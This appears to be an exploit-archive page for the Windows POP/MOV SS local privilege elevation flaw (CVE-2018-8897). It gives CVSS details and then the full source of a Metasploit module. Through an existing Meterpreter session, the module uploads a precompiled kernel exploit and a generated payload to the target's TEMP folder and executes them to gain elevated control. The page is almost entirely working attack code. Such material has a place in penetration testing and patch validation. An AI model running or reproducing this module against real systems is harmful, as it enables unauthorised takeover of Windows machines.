Microsoft Windows POP/MOV SS Local Privilege Elevation

2018.07.14
Credit: Nick Peterson
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability', 'Description' => %q{ This module exploits a vulnerability in a statement in the system programming guide of the Intel 64 and IA-32 architectures software developer's manual being mishandled in various operating system kerneles, resulting in unexpected behavior for #DB excpetions that are deferred by MOV SS or POP SS. This module will upload the pre-compiled exploit and use it to execute the final payload in order to gain remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nick Peterson', # Original discovery (@nickeverdox) 'Nemanja Mulasmajic', # Original discovery (@0xNemi) 'Can BAPlA1/4k <can1357>', # PoC 'bwatters-r7' # msf module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 08 2018', 'References' => [ ['CVE', '2018-8897'], ['EDB', '44697'], ['BID', '104071'], ['URL', 'https://github.com/can1357/CVE-2018-8897/'], ['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/'] ], 'DefaultOptions' => { 'DisablePayloadHandler' => 'False' } )) register_options([ OptString.new('EXPLOIT_NAME', [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]), OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), OptString.new('PATH', [false, 'Path to write binaries (%TEMP% by default).', nil]), OptInt.new('EXECUTE_DELAY', [false, 'The number of seconds to delay before executing the exploit', 3]) ]) end def setup super @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i) @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') @payload_path = "#{temp_path}\\#{payload_name}" @exploit_path = "#{temp_path}\\#{exploit_name}" @payload_exe = generate_payload_exe end def validate_active_host begin host = session.session_host print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") raise Msf::Exploit::Failed, 'Could not connect to session' end end def validate_remote_path(path) unless directory?(path) fail_with(Failure::Unreachable, "#{path} does not exist on the target") end end def validate_target if sysinfo['Architecture'] == ARCH_X86 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end if sysinfo['OS'] =~ /XP/ fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') end end def ensure_clean_destination(path) if file?(path) print_status("#{path} already exists on the target. Deleting...") begin file_rm(path) print_status("Deleted #{path}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("Unable to delete #{path}") end end end def ensure_clean_exploit_destination ensure_clean_destination(exploit_path) end def ensure_clean_payload_destination ensure_clean_destination(payload_path) end def upload_exploit local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe') upload_file(exploit_path, local_exploit_path) print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") end def upload_payload write_file(payload_path, payload_exe) print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}") end def execute_exploit sleep(datastore['EXECUTE_DELAY']) print_status("Running exploit #{exploit_path} with payload #{payload_path}") output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}") vprint_status(output) end def exploit begin validate_active_host validate_target validate_remote_path(temp_path) ensure_clean_exploit_destination ensure_clean_payload_destination upload_exploit upload_payload execute_exploit rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error(e.message) ensure_clean_exploit_destination ensure_clean_payload_destination end end attr_reader :exploit_name attr_reader :payload_name attr_reader :payload_exe attr_reader :temp_path attr_reader :payload_path attr_reader :exploit_path end


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